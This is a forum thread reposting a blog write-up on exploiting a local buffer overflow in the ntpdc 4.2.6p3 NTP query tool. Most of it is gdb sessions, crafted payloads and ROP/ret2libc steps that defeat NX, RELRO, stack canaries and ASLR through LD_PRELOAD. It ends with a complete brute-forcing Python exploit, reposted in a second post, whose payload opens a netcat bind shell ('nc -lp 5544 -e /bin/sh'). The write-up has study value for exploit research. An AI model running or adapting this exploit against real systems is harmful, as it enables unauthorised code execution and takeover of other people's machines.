Jump to content
Nytro

Ntpdc Local Buffer Overflow

Recommended Posts

Posted (edited)

Alejandro Hdez (@nitr0usmx) recently tweeted about a trivial buffer overflow in ntpdc, a deprecated NTP query tool still available and packaged with any NTP install. He posted a screenshot of the crash as the result of a large buffer passed into a vulnerable gets call. After digging into it a bit, I decided it’d be a fun exploit to write, and it was. There are a few quarks to it that make it of particular interest, of which I’ve detailed below.

As noted, the bug is the result of a vulnerable gets, which can be crashed with the following:

[TABLE]

[TR]

[TD=class: gutter]1

2

3[/TD]

[TD=class: code]$ python -c 'print "A"*600' | ntpdc

***Command `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' unknown

Segmentation fault[/TD]

[/TR]

[/TABLE]

Loading into gdb on an x86 Debian 7 system:

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7

8

9

10

11

12[/TD]

[TD=class: code]gdb-peda$ i r eax edx esi

eax 0x41414141 0x41414141

edx 0x41414141 0x41414141

esi 0x41414141 0x41414141

gdb-peda$ x/i $eip

=> 0xb7fa1d76 <el_gets+22>: mov eax,DWORD PTR [esi+0x14]

gdb-peda$ checksec

CANARY : ENABLED

FORTIFY : ENABLED

NX : ENABLED

PIE : disabled

RELRO : Partial[/TD]

[/TR]

[/TABLE]

Notice the checksec results of the binary, now compare this to a snippet of the paxtest output:

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7

8

9

10[/TD]

[TD=class: code]Mode: Blackhat

Linux deb7-32 3.2.0-4-486 #1 Debian 3.2.63-2+deb7u2 i686 GNU/Linux

Executable anonymous mapping : Vulnerable

Executable bss : Vulnerable

Executable data : Vulnerable

Executable heap : Vulnerable

Executable stack : Vulnerable

Executable shared library bss : Vulnerable

Executable shared library data : Vulnerable[/TD]

[/TR]

[/TABLE]

And the result of Debian’s recommended hardening-check:

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7[/TD]

[TD=class: code]$ hardening-check /usr/bin/ntpdc

/usr/bin/ntpdc:

Position Independent Executable: no, normal executable!

Stack protected: yes

Fortify Source functions: yes (some protected functions found)

Read-only relocations: yes

Immediate binding: no, not found![/TD]

[/TR]

[/TABLE]

Interestingly enough, I discovered this oddity after I had gained code execution in a place I shouldn’t have. We’re also running with ASLR enabled:

[TABLE]

[TR]

[TD=class: gutter]1

2[/TD]

[TD=class: code]$ cat /proc/sys/kernel/randomize_va_space

2

[/TD]

[/TR]

[/TABLE]

I’ll explain why the above is interesting in a moment.

So in our current state, we control three registers and an instruction dereferencing ESI+0x14. If we take a look just a few instructions ahead, we see the following:

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7

8[/TD]

[TD=class: code]gdb-peda$ x/8i $eip

=> 0xb7fa1d76 <el_gets+22>: mov eax,DWORD PTR [esi+0x14] ; deref ESI+0x14 and move into EAX

0xb7fa1d79 <el_gets+25>: test al,0x2 ; test lower byte against 0x2

0xb7fa1d7b <el_gets+27>: je 0xb7fa1df8 <el_gets+152> ; jump if ZF == 1

0xb7fa1d7d <el_gets+29>: mov ebp,DWORD PTR [esi+0x2c] ; doesnt matter

0xb7fa1d80 <el_gets+32>: mov DWORD PTR [esp+0x4],ebp ; doesnt matter

0xb7fa1d84 <el_gets+36>: mov DWORD PTR [esp],esi ; doesnt matter

0xb7fa1d87 <el_gets+39>: call DWORD PTR [esi+0x318] ; call a controllable pointer[/TD]

[/TR]

[/TABLE]

I’ve detailed the instructions above, but essentially we’ve got a free CALL. In order to reach this, we need an ESI value that at +0x14 will set ZF == 0 (to bypass the test/je) and at +0x318 will point into controlled data.

Naturally, we should figure out where our payload junk is and go from there.

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7

8

9

10

11

12

13[/TD]

[TD=class: code]gdb-peda$ searchmem 0x41414141

Searching for '0x41414141' in: None ranges

Found 751 results, display max 256 items:

ntpdc : 0x806ab00 ('A' <repeats 200 times>...)

gdb-peda$ maintenance i sections

[snip]

0x806a400->0x806edc8 at 0x00021400: .bss ALLOC

gdb-peda$ vmmap

Start End Perm Name

0x08048000 0x08068000 r-xp /usr/bin/ntpdc

0x08068000 0x08069000 r--p /usr/bin/ntpdc

0x08069000 0x0806b000 rw-p /usr/bin/ntpdc

[snip][/TD]

[/TR]

[/TABLE]

Our payload is copied into BSS, which is beneficial as this will remain unaffected by ASLR, further bonus points because our binary wasn’t compiled with PIE. We now need to move back -0x318 and look for a value that will set ZF == 0 with the test al,0x2 instruction. A value at 0x806a9e1 satisfies both the +0x14 and +0x318 requirements:

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4[/TD]

[TD=class: code]gdb-peda$ x/wx 0x806a9cd+0x14

0x806a9e1: 0x6c61636f

gdb-peda$ x/wx 0x806a9cd+0x318

0x806ace5: 0x41414141[/TD]

[/TR]

[/TABLE]

After figuring out the offset in the payload for ESI, we just need to plug 0x806a9cd in and hopefully we’ll have EIP:

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31[/TD]

[TD=class: code]$ python -c 'print "A"*485 + "C"*4 + "A"*79 + "\xcd\xa9\x06\x08" + "C"*600' > crash.info

$ gdb -q /usr/bin/ntpdc

$ r < crash.info

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]

EAX: 0x6c61636f ('ocal')

EBX: 0xb7fabff4 --> 0x1fe40

ECX: 0xb7dc13c0 --> 0x0

EDX: 0x43434343 ('CCCC')

ESI: 0x806a9cd --> 0x0

EDI: 0x0

EBP: 0x0

ESP: 0xbffff3cc --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1)

EIP: 0x43434343 ('CCCC')

EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

Invalid $PC address: 0x43434343

[------------------------------------stack-------------------------------------]

0000| 0xbffff3cc --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1)

0004| 0xbffff3d0 --> 0x806a9cd --> 0x0

0008| 0xbffff3d4 --> 0x0

0012| 0xbffff3d8 --> 0x8069108 --> 0xb7d7a4d0 (push ebx)

0016| 0xbffff3dc --> 0x0

0020| 0xbffff3e0 --> 0xb7c677f4 --> 0x1cce

0024| 0xbffff3e4 --> 0x807b6f8 ('A' <repeats 200 times>...)

0028| 0xbffff3e8 --> 0x807d3b0 ('A' <repeats 200 times>...)

[------------------------------------------------------------------------------]

Legend: code, data, rodata, value

Stopped reason: SIGSEGV

0x43434343 in ?? ()[/TD]

[/TR]

[/TABLE]

Now that we’ve got EIP, it’s a simple matter of stack pivoting to execute a ROP payload. Let’s figure out where that "C"*600 lands in memory and redirect EIP there:

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6[/TD]

[TD=class: code]gdb-peda$ searchmem 0x43434343

Searching for '0x43434343' in: None ranges

Found 755 results, display max 256 items:

ntpdc : 0x806ace5 ("CCCC", 'A' <repeats 79 times>, "?\006\b", 'C' <repeats 113 times>...)

ntpdc : 0x806ad3c ('C' <repeats 200 times>...)

[snip][/TD]

[/TR]

[/TABLE]

And we’ll fill it with \xcc to ensure we’re there (theoretically triggering NX):

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40[/TD]

[TD=class: code]$ python -c 'print "A"*485 + "\x3c\xad\x06\x08" + "A"*79 + "\xcd\xa9\x06\x08" + "\xcc"*600' > crash.info

$ gdb -q /usr/bin/ntpdc

Reading symbols from /usr/bin/ntpdc...(no debugging symbols found)...done.

gdb-peda$ r < crash.info

[snip]

Program received signal SIGTRAP, Trace/breakpoint trap.

[----------------------------------registers-----------------------------------]

EAX: 0x6c61636f ('ocal')

EBX: 0xb7fabff4 --> 0x1fe40

ECX: 0xb7dc13c0 --> 0x0

EDX: 0xcccccccc

ESI: 0x806a9cd --> 0x0

EDI: 0x0

EBP: 0x0

ESP: 0xbffff3ec --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1)

EIP: 0x806ad3d --> 0xcccccccc

EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

0x806ad38: int 0xa9

0x806ad3a: push es

0x806ad3b: or ah,cl

=> 0x806ad3d: int3

0x806ad3e: int3

0x806ad3f: int3

0x806ad40: int3

0x806ad41: int3

[------------------------------------stack-------------------------------------]

0000| 0xbffff3ec --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1)

0004| 0xbffff3f0 --> 0x806a9cd --> 0x0

0008| 0xbffff3f4 --> 0x0

0012| 0xbffff3f8 --> 0x8069108 --> 0xb7d7a4d0 (push ebx)

0016| 0xbffff3fc --> 0x0

0020| 0xbffff400 --> 0xb7c677f4 --> 0x1cce

0024| 0xbffff404 --> 0x807b9d0 ('A' <repeats 200 times>...)

0028| 0xbffff408 --> 0x807d688 ('A' <repeats 200 times>...)

[------------------------------------------------------------------------------]

Legend: code, data, rodata, value

Stopped reason: SIGTRAP

0x0806ad3d in ?? ()

gdb-peda$[/TD]

[/TR]

[/TABLE]

Er, what? It appears to be executing code in BSS! Recall the output of paxtest/checksec/hardening-check from earlier, NX was clearly enabled. This took me a few hours to figure out, but it ultimately came down to Debian not distributing x86 images with PAE, or Physical Address Extension. PAE is a kernel feature that allows 32-bit CPU’s to access physical page tables and doubling each entry in the page table and page directory. This third level of paging and increased entry size is required for NX on x86 architectures because NX adds a single ‘dont execute’ bit to the page table. You can read more about PAE here, and the original NX patch here.

This flag can be tested for with a simple grep of /proc/cpuinfo; on a fresh install of Debian 7, a grep for PAE will turn up empty, but on something with support, such as Ubuntu, you’ll get the flag back.

Because I had come this far already, I figured I might as well get the exploit working. At this point it was simple, anyway:

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7

8

9

10

11

12

13[/TD]

[TD=class: code]$ python -c 'print "A"*485 + "\x3c\xad\x06\x08" + "A"*79 + "\xcd\xa9\x06\x08" + "\x90"*4 + "\x68\xec\xf7\xff\xbf\x68\x70\xe2\xc8\xb7\x68\x30\xac\xc9\xb7\xc3"' > input2.file

$ gdb -q /usr/bin/ntpdc

Reading symbols from /usr/bin/ntpdc...(no debugging symbols found)...done.

gdb-peda$ r < input.file

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".

***Command `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?????h????hp??h0???' unknown

[New process 4396]

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".

process 4396 is executing new program: /bin/dash

[New process 4397]

process 4397 is executing new program: /bin/nc.traditional[/TD]

[/TR]

[/TABLE]

This uses a simple system payload with hard-coded addresses, because at this point it’s an old-school, CTF-style exploit. And it works. With this trivial PoC working, I decided to check another box I had to verify this is a common distribution method. An Ubuntu VM said otherwise:

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7[/TD]

[TD=class: code]$ uname -a

Linux bryan-VirtualBox 3.2.0-74-generic #109-Ubuntu SMP Tue Dec 9 16:47:54 UTC 2014 i686 i686 i386 GNU/Linux

$ ./checksec.sh --file /usr/bin/ntpdc

RELRO STACK CANARY NX PIE RPATH RUNPATH FILE

Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH /usr/bin/ntpdc

$ cat /proc/sys/kernel/randomize_va_space

2[/TD]

[/TR]

[/TABLE]

Quite a different story. We need to bypass full RELRO (no GOT overwrites), PIE+ASLR, NX, SSP, and ASCII armor. In our current state, things are looking pretty grim. As an aside, it’s important to remember that because this is a local exploit, the attacker is assumed to have limited control over the system. Ergo, an attacker may inspect and modify the system in the same manner a limited user could. This becomes important with a few techniques we’re going to use moving forward.

Our first priority is stack pivoting; we won’t be able to ROP to victory without control over the stack. There are a few options for this, but the easiest option is likely going to be an ADD ESP, ? gadget. The problem with this being that we need to have some sort of control over the stack or be able to modify ESP somewhere into BSS that we control. Looking at the output of ropgadget, we’ve got 36 options, almost all of which are of the form ADD ESP, ?.

After looking through the list, I determined that none of the values led to control over the stack; in fact, nothing I injected landed on the stack. I did note, however, the following:

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7

8

9

10

11

12[/TD]

[TD=class: code]gdb-peda$ x/6i 0x800143e0

0x800143e0: add esp,0x256c

0x800143e6: pop ebx

0x800143e7: pop esi

0x800143e8: pop edi

0x800143e9: pop ebp

0x800143ea: ret

gdb-peda$ x/30s $esp+0x256c

0xbffff3a4: "-1420310755.557158-104120677"

0xbffff3c1: "WINDOWID=69206020"

0xbffff3d3: "GNOME_KEYRING_CONTROL=/tmp/keyring-iBX3uM"

0xbffff3fd: "GTK_MODULES=canberra-gtk-module:canberra-gtk-module"[/TD]

[/TR]

[/TABLE]

These are environmental variables passed into the application and located on the program stack. Using the ROP gadget ADD ESP, 0x256c, followed by a series of register POPs, we could land here. Controlling this is easy with the help of LD_PRELOAD, a neat trick documented by Dan Rosenberg in 2010. By exporting LD_PRELOAD, we can control uninitialized data located on the stack, as follows:

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7

8

9[/TD]

[TD=class: code]$ export LD_PRELOAD=`python -c 'print "A"*10000'`

$ gdb -q /usr/bin/ntpdc

gdb-peda$ r < input.file

[..snip..]

gdb-peda$ x/10wx $esp+0x256c

0xbfffedc8: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffedd8: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffede8: 0x41414141 0x41414141

gdb-peda$[/TD]

[/TR]

[/TABLE]

Using some pattern_create/offset magic, we can find the offset in our LD_PRELOAD string and take control over EIP and the stack:

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31[/TD]

[TD=class: code]$ export LD_PRELOAD=`python -c 'print "A"*8490 + "AAAA" + "BBBB"'`

$ python -c "print 'A'*485 + '\xe0\x43\x01\x80' + 'A'*79 + '\x8d\x67\x02\x80' + 'B'*600" > input.file

$ gdb -q /usr/bin/ntpdc

gdb-peda$ r < input.file

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]

EAX: 0x6c61636f ('ocal')

EBX: 0x41414141 ('AAAA')

ECX: 0x13560

EDX: 0x42424242 ('BBBB')

ESI: 0x41414141 ('AAAA')

EDI: 0x41414141 ('AAAA')

EBP: 0x41414141 ('AAAA')

ESP: 0xbffff3bc ("BBBB")

EIP: 0x41414141 ('AAAA')

EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

Invalid $PC address: 0x41414141

[------------------------------------stack-------------------------------------]

0000| 0xbffff3bc ("BBBB")

0004| 0xbffff3c0 --> 0x4e495700 ('')

0008| 0xbffff3c4 ("DOWID=69206020")

0012| 0xbffff3c8 ("D=69206020")

0016| 0xbffff3cc ("206020")

0020| 0xbffff3d0 --> 0x47003032 ('20')

0024| 0xbffff3d4 ("NOME_KEYRING_CONTROL=/tmp/keyring-iBX3uM")

0028| 0xbffff3d8 ("_KEYRING_CONTROL=/tmp/keyring-iBX3uM")

[------------------------------------------------------------------------------]

Legend: code, data, rodata, value

Stopped reason: SIGSEGV

0x41414141 in ?? ()[/TD]

[/TR]

[/TABLE]

This gives us EIP, control over the stack, and control over a decent number of registers; however, the LD_PRELOAD trick is extremely sensitive to stack shifting which represents a pretty big problem for exploit portability. For now, I’m going to forget about it; chances are we could brute force the offset, if necessary, or simply invoke the application with env -i.

From here, we need to figure out a ROP payload. The easiest payload I can think of is a simple ret2libc. Unfortunately, ASCII armor null bytes all of them:

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7

8[/TD]

[TD=class: code]gdb-peda$ vmmap

0x00327000 0x004cb000 r-xp /lib/i386-linux-gnu/libc-2.15.so

0x004cb000 0x004cd000 r--p /lib/i386-linux-gnu/libc-2.15.so

0x004cd000 0x004ce000 rw-p /lib/i386-linux-gnu/libc-2.15.so

gdb-peda$ p system

$1 = {<text variable, no debug info>} 0x366060 <system>

gdb-peda$[/TD]

[/TR]

[/TABLE]

One idea I had was to simply construct the address in memory, then call it. Using ROPgadget, I hunted for ADD/SUB instructions that modified any registers we controlled. Eventually, I discovered this gem:

[TABLE]

[TR]

[TD=class: gutter]1

2[/TD]

[TD=class: code]0x800138f2: add edi, esi; ret 0;

0x80022073: call edi[/TD]

[/TR]

[/TABLE]

Using the above, we could pop controlled, non-null values into EDI/ESI, that when added equaled 0x366060 <system>. Many values will work, but I chose 0xeeffffff + 0x11366061:

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31[/TD]

[TD=class: code]EAX: 0x6c61636f ('ocal')

EBX: 0x41414141 ('AAAA')

ECX: 0x12f00

EDX: 0x42424242 ('BBBB')

ESI: 0xeeffffff

EDI: 0x11366061

EBP: 0x41414141 ('AAAA')

ESP: 0xbfffefb8 --> 0x800138f2 (add edi,esi)

EIP: 0x800143ea (ret)

EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

0x800143e7: pop esi

0x800143e8: pop edi

0x800143e9: pop ebp

=> 0x800143ea: ret

0x800143eb: nop

0x800143ec: lea esi,[esi+eiz*1+0x0]

0x800143f0: mov DWORD PTR [esp],ebp

0x800143f3: call 0x80018d20

[------------------------------------stack-------------------------------------]

0000| 0xbfffefb8 --> 0x800138f2 (add edi,esi)

0004| 0xbfffefbc --> 0x80022073 --> 0xd7ff

0008| 0xbfffefc0 ('C' <repeats 200 times>...)

0012| 0xbfffefc4 ('C' <repeats 200 times>...)

0016| 0xbfffefc8 ('C' <repeats 200 times>...)

0020| 0xbfffefcc ('C' <repeats 200 times>...)

0024| 0xbfffefd0 ('C' <repeats 200 times>...)

0028| 0xbfffefd4 ('C' <repeats 200 times>...)

[------------------------------------------------------------------------------]

Legend: code, data, rodata, value

0x800143ea in ?? ()[/TD]

[/TR]

[/TABLE]

As shown above, we’ve got our two values in EDI/ESI and are returning to our ADD EDI, ESI gadget. Once this completes, we return to our CALL EDI gadget, which will jump into system:

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7[/TD]

[TD=class: code]EDI: 0x366060 (<system>: sub esp,0x1c)

EBP: 0x41414141 ('AAAA')

ESP: 0xbfffefc0 --> 0xbffff60d ("/bin/nc -lp 5544 -e /bin/sh")

EIP: 0x80022073 --> 0xd7ff

EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

=> 0x80022073: call edi[/TD]

[/TR]

[/TABLE]

Recall the format of a ret2libc: [system() address | exit() | shell command]; therefore, we need to stick a bogus exit address (in my case, junk) as well as the address of a command. Also remember, however, that CALL EDI is essentially a macro for PUSH EIP+2 ; JMP EDI. This means that our stack will be tainted with the address @ EIP+2. Thanks to this, we don’t really need to add an exit address, as one will be added for us. There are, unfortunately, no JMP EDI gadgets in the binary, so we’re stuck with a messy exit.

This culminates in:

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7

8

9

10[/TD]

[TD=class: code]$ export LD_PRELOAD=`python -c 'print "A"*8472 + "\xff\xff\xff\xee" + "\x61\x60\x36\x11" + "AAAA" + "\xf2\x38\x01\x80" + "\x73\x20\x02\x80" + "\x0d\xf6\xff\xbf" + "C"*1492'`

$ gdb -q /usr/bin/ntpdc

gdb-peda$ r < input.file

[snip all the LD_PRELOAD crap]

[New process 31184]

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

process 31184 is executing new program: /bin/dash

[New process 31185]

process 31185 is executing new program: /bin/nc.traditional[/TD]

[/TR]

[/TABLE]

Success! Though this is a very dirty hack, and makes no claim of portability, it works. As noted previously, we can brute force the image base and stack offsets, though we can also execute the binary with an empty environment and no stack tampering with env -i, giving us a much higher chance of hitting our mark.

Overall, this was quite a bit of fun. Although ASLR/PIE still poses an issue, this is a local bug that brute forcing and a little investigation can’t take care of. NX/RELRO/Canary/SSP/ASCII Armor have all been successfully neutralized. I hacked up a PoC that should work on Ubuntu boxes as configured, but it brute forces offsets. Test runs show it can take up to 2 hours to successfully pop a box. Full code can be found below.

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38[/TD]

[TD=class: code]from os import system, environ

from struct import pack

import sys

#

# ntpdc 4.2.6p3 bof

# @dronesec

# tested on x86 Ubuntu 12.04.5 LTS

#

IMAGE_BASE = 0x80000000

LD_INITIAL_OFFSET = 8900

LD_TAIL_OFFSET = 1400

sploit = "\x41" * 485 # junk

sploit += pack("<I", IMAGE_BASE + 0x000143e0) # eip

sploit += "\x41" * 79 # junk

sploit += pack("<I", IMAGE_BASE + 0x0002678d) # location -0x14/-0x318 from shellcode

ld_pl = ""

ld_pl += pack("<I", 0xeeffffff) # ESI

ld_pl += pack("<I", 0x11366061) # EDI

ld_pl += pack("<I", 0x41414141) # EBP

ld_pl += pack("<I", IMAGE_BASE + 0x000138f2) # ADD EDI, ESI; RET

ld_pl += pack("<I", IMAGE_BASE + 0x00022073) # CALL EDI

ld_pl += pack("<I", 0xbffff60d) # payload addr based on empty env; probably wrong

environ["EGG"] = "/bin/nc -lp 5544 -e /bin/sh"

for idx in xrange(200):

for inc in xrange(200):

ld_pl = ld_pl + "\x41" * (LD_INITIAL_OFFSET + idx)

ld_pl += "\x43" * (LD_INITIAL_OFFSET + inc)

environ["LD_PRELOAD"] = ld_pl

system("echo %s | ntpdc 2>&1" % sploit)[/TD]

[/TR]

[/TABLE]

Posted by Bryan Alexander Jan 6th, 2015

Sursa: https://hatriot.github.io/blog/2015/01/06/ntpdc-exploit/

Edited by Nytro
Posted

Exploit here:

Ntpdc 4.2.6p3 - Local Buffer Overflow

# Source: https://hatriot.github.io/blog/2015/01/06/ntpdc-exploit/

from os import system, environ
from struct import pack
import sys

#
# ntpdc 4.2.6p3 bof
# @ dronesec
# tested on x86 Ubuntu 12.04.5 LTS
#

IMAGE_BASE = 0x80000000
LD_INITIAL_OFFSET = 8900
LD_TAIL_OFFSET = 1400

sploit = "\x41" * 485 # junk
sploit += pack("<I", IMAGE_BASE + 0x000143e0) # eip
sploit += "\x41" * 79 # junk
sploit += pack("<I", IMAGE_BASE + 0x0002678d) # location -0x14/-0x318 from shellcode

ld_pl = ""
ld_pl += pack("<I", 0xeeffffff) # ESI
ld_pl += pack("<I", 0x11366061) # EDI
ld_pl += pack("<I", 0x41414141) # EBP
ld_pl += pack("<I", IMAGE_BASE + 0x000138f2) # ADD EDI, ESI; RET
ld_pl += pack("<I", IMAGE_BASE + 0x00022073) # CALL EDI
ld_pl += pack("<I", 0xbffff60d) # payload addr based on empty env; probably wrong

environ["EGG"] = "/bin/nc -lp 5544 -e /bin/sh"

for idx in xrange(200):

for inc in xrange(200):

ld_pl = ld_pl + "\x41" * (LD_INITIAL_OFFSET + idx)
ld_pl += "\x43" * (LD_INITIAL_OFFSET + inc)

environ["LD_PRELOAD"] = ld_pl
system("echo %s | ntpdc 2>&1" % sploit)

Source

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...